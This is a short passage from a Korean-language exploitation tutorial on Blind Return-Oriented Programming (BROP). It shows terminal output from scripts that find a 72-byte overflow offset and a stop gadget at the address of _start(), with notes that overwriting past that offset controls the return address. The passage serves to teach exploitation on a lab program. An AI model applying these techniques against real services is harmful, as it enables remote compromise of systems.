...
- 해당 스크립드를 실행하면 다음과 같이 문자열의 길이를 확인 할 수 있습니다.
- 즉, 해당 길이의 문자열 뒤에 원하는 값을 저장하면 Return address를 덮어쓸수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROP./check_overflow.py [*] Overflow size : 72 |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROP./find_stop_gadget.py [*] Overflow size : 72 [!*] currentlyProgressed to at 0x100 [!*] Progressed currentlyto at 0x200 [!*] currentlyProgressed to at 0x300 [!*] currentlyProgressed to at 0x400 [!*] currentlyProgressed to at 0x500 [*] Stop address: 0x4005c0 [*] STOP Gadget : 0x4005c0 |
- 발견된 Stop Gadget은 "_start() 함수의 시작 주소"입니다.
- 즉, 해당 함수에 의해 main() 함수가 다시 호출됩니다.
...